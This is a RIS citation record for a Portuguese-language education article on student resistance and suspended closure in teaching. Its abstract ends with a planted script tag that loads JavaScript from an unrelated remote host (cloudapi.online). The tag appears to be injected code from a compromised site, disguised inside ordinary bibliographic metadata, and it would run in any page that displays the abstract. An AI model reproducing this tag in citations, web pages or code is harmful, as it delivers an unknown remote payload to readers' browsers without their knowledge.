TY - JOUR AU - Massé, Michelle PY - 2011/10/21 Y2 - 2024/03/29 TI - Apontando para a lua: ensinando e aprendendo sem resistência JF - ETD - Educação Temática Digital JA - ETD - Educ. temat. digit. VL - 13 IS - 1 SE - Dossiê DO - 10.20396/etd.v13i1.1176 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/1176 SP - 238-245 AB - <p>Professores com frequência se apegam a narrativas nas quais a resistência dos alunos a nosso ensino marca a evitação das verdades ofertadas por nossos cultos <em>selves</em>. Nas contra-narrativas dos alunos, a resistência pode se metamorfosear em uma história sobre a recusa, por questão de princípios, de figuras poderosas tentando forçá-los para instâncias que não eles mesmos. Ambas as histórias têm fortes dimensões temporais nas quais um encerramento, mesmo se ele vem décadas mais tarde, revela que uma parte ou a outra foi, de fato, influenciada e se transformou, tendo ou não tal transformação ficado evidente ao final do semestre. Meu interesse aqui é em como problematizar o encerramento prematuro, trabalhando, em vez disso, no âmbito da suspensão do limiar de tempo de saber/não saber para professor e aluno.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -